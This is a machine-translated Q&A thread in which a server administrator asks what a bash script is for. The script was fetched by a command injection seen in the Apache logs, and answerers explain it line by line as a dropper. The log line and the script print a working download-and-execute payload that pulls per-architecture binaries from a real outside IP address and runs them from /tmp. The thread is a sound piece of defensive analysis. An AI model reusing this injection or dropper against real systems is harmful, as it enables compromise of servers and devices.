这个bash脚本做什么?[尝试失败]


31

我一直在注意服务器apache日志,最近有以下奇怪的几行:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

因此,我做了一个自定义的Fail2Ban过滤器,并开始禁止请求这些/login.cgi URL的IP。

但是我对他们正在尝试执行的操作感到好奇,因此我撤消了他们正在尝试执行的脚本,但我似乎无法弄清楚它到底在做什么。关于删除/ var和/ tmp中的arch文件夹的东西?

无论如何,这里是:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done


1
该脚本最初是如何在您的服务器上获得的?
怀特先生(MrWhite)

3
我只是在家用PC上的浏览器中打开.sh文件,然后将其复制并粘贴到此处,但它从未真正存在于我的服务器上。
ndom91 '18

1
该脚本是一个“滴管”,用于下载实际的漏洞利用脚本。这将位于hxxp://80.211.173.159:80/$name$name的每个CPU体系结构的位置bin_names。因此,将下载并执行7个攻击脚本
BlueCacti

Answers:


42

逐行:

#!/bin/sh

建立sh外壳,以shebang行为准。sh%20/tmp/ks在请求中将覆盖此内容,因此该行将被视为普通注释并被忽略。

u="asgknskjdgn"

声明一个任意名称,大概是为了避免与其他文件名冲突。我不确定为什么他们不只是使用mktemp,但这也许并非在所有平台上都可用。

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

列举了几种常见的CPU体系结构。

http_server="80.211.173.159"
http_port=80

具有漏洞利用的服务器。

cd /tmp/||cd /var/

尝试将目录更改到Web服务器可能能够创建文件的位置。我相信SELinux将通过对Web服务器执行比文件系统自身执行的更为严格的规则来帮助解决此问题。

for name in $bin_names
    do

对于每种CPU架构...

    rm -rf $u

删除以前尝试的漏洞利用程序。因为下一行不必要,所以可以忽略。

    cp $SHELL $u

复制当前的shell可执行文件(/bin/sh)。由于下一行之后可以忽略。

    chmod 777 $u

使每个人都可以完全访问新文件。这应该在wget命令之后,这可能是Shell脚本新手的标志,也可能是方向错误的技术。

    >$u

清空文件。由于下一行毫无意义。

    wget http://$http_server:$http_port/$name -O -> $u

使用此体系结构的利用脚本覆盖文件。-O -> $u可能已经写过-O - > $u(连字符表示应该将下载内容写到标准输出中),它等效于-O $u

    ./$u $name

以架构为第一个参数运行漏洞利用脚本。

done

结束循环。

看起来这是一个简单的利用尝试脚本,针对各种CPU平台尝试已知利用。我不知道为什么它会覆盖$u3次,但是这些操作可能只是在脚本的早期迭代中仍然存在。据推测,较早版本的漏洞利用是经过硬编码而不是动态提供的-前者比较容易,但是几乎可以保证,随着漏洞的修复,脚本会随着时间的推移效率降低。


21
显式管理文件是有好处的。如果目标已经存在并正在执行,则内核将不允许您打开文件进行写入(-ETXTBSY)。但是,允许重命名或删除正在运行的程序。
grawity

什么是->wget命令吗?为什么不只是wget ... -O $u呢?
罗恩·约翰

1
@RonJohn读为- >

5
使用时-O->filenamefilename不会在ps ax的输出中显示。这可能会使调试更加困难。
pts

1
cp给你一个可执行文件。如果chmod失败可能有用吗?编辑:鉴于这显然是针对路由器的,因此很可能chmod不存在。
鲍勃

12

wget是关键的危险线。

for name in $bin_names正在通过平台列表,并为每个平台被清理的临时目录,复制了一个壳,然后使其受到大家的访问。

然后使用以下命令下载文件 wget,它使用,然后使用刚复制过来的Shell程序执行该。

该脚本基本上是在尝试为每个平台下载一系列可执行文件或脚本,并将其与您的系统摩擦,以期进一步破坏您的系统。


6
摩擦==运行?
Barmar

5
@Barmar我敢肯定这是故意的:P
加拿大卢克REINSTATE MONICA
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.